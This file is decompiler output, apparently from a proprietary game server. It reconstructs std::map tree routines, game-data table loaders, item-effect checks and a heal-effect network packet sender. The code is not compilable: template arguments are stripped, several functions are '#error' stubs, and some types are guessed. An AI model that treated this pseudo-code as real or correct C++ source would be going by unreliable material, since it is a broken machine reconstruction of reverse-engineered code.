if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00597760) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned int v8; // edx@2 std::pair *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = (std::pair *)_Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->first; do { v7 = v8 < v6->_Myval.first; v5 = v6; _Addleft = v8 < v6->_Myval.first; if ( v8 >= v6->_Myval.first ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( (std::_Tree,std::allocator >,0> > *)v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, 1, (std::_Tree_nod,std::allocator >,0> >::_Node *)v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[1].second >= (ActionRangeFactor *)*(_DWORD *)&v3->first ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( (std::_Tree,std::allocator >,0> > *)v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, _Addleft, (std::_Tree_nod,std::allocator >,0> >::_Node *)v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00597820) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned __int16 v8; // dx@2 std::pair *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->first; do { v5 = v6; v7 = v8 < v6->_Myval.first; _Addleft = v8 < v6->_Myval.first; if ( v8 >= v6->_Myval.first ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9[1].second) >= v3->first ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (005978E0) -------------------------------------------------------- int std::_Tree_std::allocator>_0>>::erase(...) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = (std::_Tree,std::allocator >,0> >::iterator)v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( (std::_Tree,std::allocator >,0> > *)v6, (std::_Tree,std::allocator >,0> >::iterator *)&_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (005979A0) -------------------------------------------------------- int std::_Tree_std::allocator>_0>>::erase(...) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00597A60) -------------------------------------------------------- bool __thiscall ActionRangeFactors::DataProcess(ActionRangeFactors *this) { unsigned int i; // edi@1 int v2; // eax@2 void *v3; // esi@4 std::pair,std::allocator >,0> >::iterator,bool> *v4; // eax@4 int v5; // edx@4 std::pair _Val; // [sp+8h] [bp-18h]@4 std::pair,std::allocator >,0> >::iterator,bool> result; // [sp+10h] [bp-10h]@4 std::pair,std::allocator >,0> >::iterator,bool> ret; // [sp+18h] [bp-8h]@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); _Val.first = *(_DWORD *)v3; _Val.second = (ActionRangeFactor *)v3; v4 = std::_Tree_std::allocator>_0>>::insert( (std::_Tree,std::allocator >,0> > *)&ActionRangeFactors::_rangeFactors, &result, &_Val); v5 = (unsigned __int8)*(_DWORD *)&v4->second == 1; *(_DWORD *)&ret.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v4->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ActionRangeFactor Index Conflict", *(_DWORD *)v3); ShineExit("ActionRangeFactors::DataProcess"); } } return 1; } // 131DB480: using guessed type int ITableBase_ActionRangeFactor_ActionRangeFactors___ms_pkTable; //----- (00597B00) -------------------------------------------------------- bool __thiscall ItemActionConditions::DataProcess(ItemActionConditions *this) { unsigned int i; // edi@1 int v2; // eax@2 void *v3; // eax@4 int *v4; // esi@4 IActCondition *v5; // eax@4 const unsigned __int16 v6; // cx@4 std::pair,std::allocator >,0> >::iterator,bool> *v7; // eax@4 int v8; // edx@4 std::pair _Val; // [sp+8h] [bp-18h]@4 std::pair,std::allocator >,0> >::iterator,bool> result; // [sp+10h] [bp-10h]@4 std::pair,std::allocator >,0> >::iterator,bool> ret; // [sp+18h] [bp-8h]@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); v4 = (int *)v3; v5 = MakeCondition((ItemActionCondition *)v3); v6 = *(_WORD *)v4; _Val.second = v5; _Val.first = v6; v7 = std::_Tree_std::allocator>_0>>::insert( (std::_Tree,std::allocator >,0> > *)&ItemActionConditions::_conditions, &result, &_Val); v8 = (unsigned __int8)*(_DWORD *)&v7->second == 1; *(_DWORD *)&ret.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v7->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( !v8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemActionCondition ID Conflict", *(_WORD *)v4); ShineExit("ItemActionConditions::DataProcess"); } } return 1; } // 131DB484: using guessed type int ITableBase_ItemActionCondition_ItemActionConditions___ms_pkTable; //----- (00597BA0) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (00597BD0) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (00597C00) -------------------------------------------------------- void __thiscall AxialListNearExecution_All::_AxialListNearExecution_All(AxialListNearExecution_All *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&IAxialListNearExecution::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 67E71C: using guessed type int (__stdcall *IAxialListNearExecution___vftable_)(int, int, int distancesquar); //----- (00597C10) -------------------------------------------------------- #error "597C10: undefined or illegal type '#593' (funcsize=9)" //----- (00597C30) -------------------------------------------------------- void __thiscall AxialListNearExecution_Party::AxialListNearExecution_Party(AxialListNearExecution_Party *this, unsigned __int16 partyRegisterNum) { AxialListNearExecution_Party *v2; // esi@1 v2 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v2->_partyRegisterNum = partyRegisterNum; v2->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearExecution_Party::_vftable_; } // 67E734: using guessed type int (__stdcall *AxialListNearExecution_Party___vftable_)(int, int, int distancesquar); //----- (00597C50) -------------------------------------------------------- void __thiscall AxialListNearExecution_EnemyGuild::AxialListNearExecution_EnemyGuild(AxialListNearExecution_EnemyGuild *this, unsigned int guildRegisterNum) { AxialListNearExecution_EnemyGuild *v2; // esi@1 v2 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v2->_guildRegisterNum = guildRegisterNum; v2->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearExecution_EnemyGuild::_vftable_; } // 67E740: using guessed type int (__stdcall *AxialListNearExecution_EnemyGuild___vftable_)(int, int, int distancesquar); //----- (00597C70) -------------------------------------------------------- void __thiscall AxialListNearExecution_MyGuild::AxialListNearExecution_MyGuild(AxialListNearExecution_MyGuild *this, unsigned int guildRegisterNum) { AxialListNearExecution_MyGuild *v2; // esi@1 v2 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v2->_guildRegisterNum = guildRegisterNum; v2->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearExecution_MyGuild::_vftable_; } // 67E74C: using guessed type int (__stdcall *AxialListNearExecution_MyGuild___vftable_)(int, int, int distancesquar); //----- (00597C90) -------------------------------------------------------- void __thiscall AxialListNearExecution_MyRaid::AxialListNearExecution_MyRaid(AxialListNearExecution_MyRaid *this, unsigned __int16 raidRegisterNum) { AxialListNearExecution_MyRaid *v2; // esi@1 v2 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v2->_raidRegisterNum = raidRegisterNum; v2->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearExecution_MyRaid::_vftable_; } // 67E758: using guessed type int (__stdcall *AxialListNearExecution_MyRaid___vftable_)(int, int, int distancesquar); //----- (00597CB0) -------------------------------------------------------- void *__thiscall IActEffect::_vector_deleting_destructor_(IActEffect *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (IActEffectVtbl *)&IActEffect::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 67E764: using guessed type int (__thiscall *IActEffect___vftable_)(void *p, char); //----- (00597CD0) -------------------------------------------------------- void __thiscall IAxialListNearExecution::apply(IAxialListNearExecution *this, IActEffect *effect, ItemActionArgument *arg) { IAxialListNearExecution *v3; // ebp@1 int v4; // ebx@1 char *v5; // edi@2 int v6; // esi@3 v3 = this; v4 = 0; if ( this->baseclass_0.alns_bp > 0 ) { v5 = (char *)this->baseclass_0.alns_buffer; do { v6 = *(_DWORD *)v5; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)v5 + 1152))(*(_DWORD *)v5) != 3 ) ((void (__stdcall *)(ItemActionArgument *, int))effect->vfptr->_execute)(arg, v6); ++v4; v5 += 8; } while ( v4 < v3->baseclass_0.alns_bp ); } } //----- (00597D20) -------------------------------------------------------- #error "597D20: undefined or illegal type '#593' (funcsize=10)" //----- (00597D40) -------------------------------------------------------- #error "597D40: undefined or illegal type '#593' (funcsize=9)" //----- (00597D60) -------------------------------------------------------- #error "597D60: undefined or illegal type '#593' (funcsize=23)" //----- (00597DA0) -------------------------------------------------------- #error "597DA0: undefined or illegal type '#593' (funcsize=12)" //----- (00597DD0) -------------------------------------------------------- #error "597DD0: undefined or illegal type '#593' (funcsize=9)" //----- (00597DF0) -------------------------------------------------------- #error "597DF0: undefined or illegal type '#593' (funcsize=9)" //----- (00597E10) -------------------------------------------------------- bool __thiscall IActEffect::_typeValidationCheck(IActEffect *this, ItemActionArgument *arg) { ActionActivityType v2; // eax@1 v2 = arg->effect.type; JUMPOUT(v2, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT(v2, 5, Concurrency::_Order_node_base::reserve_message); JUMPOUT(v2, 9, Concurrency::_Order_node_base::reserve_message); return 1; } // 597E2A: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00597E30) -------------------------------------------------------- bool __thiscall ActionEffectTypeEffect::_typeValidationCheck(ActionEffectTypeEffect *this, ItemActionArgument *arg) { ItemActionEffect *v2; // eax@1 v2 = this->baseclass_0._effectData; return LOWORD(v2->EffectActivity) == arg->effect.type && v2->EffectActivityValue == arg->effect.subtype.attackType; } //----- (00597E60) -------------------------------------------------------- void __cdecl Send_SETITEMHEALEFFECT(#593 *a1, char heal, unsigned int quantity) { NETCOMMAND *v3; // esi@2 char v4; // dl@2 int v5; // ST04_4@2 int v6; // eax@2 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@2 int v8; // [sp+18h] [bp-4h]@2 if ( a1 ) { v3 = ProtocolPacket::pp_NetCommand(&gpp, 8, 111); v3[1].protocol = AxialListNearGateFind::alngf_Gethandle((int)a1); v4 = (heal ^ LOBYTE(v3[2].protocol)) & 1 ^ LOBYTE(v3[2].protocol); *(unsigned __int16 *)((char *)&v3[2].protocol + 1) = quantity; LOBYTE(v3[2].protocol) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v8 = 0; v5 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation((int)a1); v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)a1, v6, v5, 0, 0, (int)&alchat, 1, 65535); v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (00597F30) -------------------------------------------------------- #error "597F30: undefined or illegal type '#593' (funcsize=230)" //----- (005981C0) -------------------------------------------------------- #error "5981C0: undefined or illegal type '#593' (funcsize=17)" //----- (005981F0) -------------------------------------------------------- #error "5981F0: undefined or illegal type '#593' (funcsize=60)" //----- (00598280) -------------------------------------------------------- unsigned int __thiscall ActionImpowerTypeEffect::fallback(ActionImpowerTypeEffect *this, ItemActionArgument *arg) { int v2; // eax@2 if ( LOWORD(this->baseclass_0._effectData->EffectActivity) == arg->effect.type ) { v2 = arg->effect.subtype.attackType; if ( v2 >= 0 && v2 <= 14 ) return 1000; AssertClass::ac_AssertFail(&shineassert, "Unknown effect.subtype.actionImpowerType", v2); } return 0; } //----- (005982C0) -------------------------------------------------------- unsigned int __thiscall ActionEffectTypeEffect::_execute(ActionEffectTypeEffect *this, ItemActionArgument *arg, #593 *target) { return this->baseclass_0._effectData->Value; } //----- (005982D0) -------------------------------------------------------- unsigned int __thiscall ActionEffectTypeEffect::fallback(ActionEffectTypeEffect *this, ItemActionArgument *arg) { AttackType v2; // eax@2 if ( LOWORD(this->baseclass_0._effectData->EffectActivity) != arg->effect.type ) return 0; v2 = arg->effect.subtype.attackType; if ( v2 ) { if ( v2 != 1 ) { AssertClass::ac_AssertFail( &shineassert, "Unknown effect.subtype.actionEffectType", arg->effect.subtype.attackType); return 0; } } else { AssertClass::ac_AssertFail(&shineassert, "Unknown effect.subtype.actionEffectType", 0); } return 1000; } //----- (00598320) -------------------------------------------------------- IActEffect *__cdecl MakeEffect(ItemActionEffect *effectData) { IActEffect *result; // eax@5 const char *v2; // [sp-Ch] [bp-10h]@15 int v3; // [sp-8h] [bp-Ch]@15 if ( effectData->EffectTarget ) { AssertClass::ac_AssertFail(&shineassert, "USE TargetType for EffectTarget", 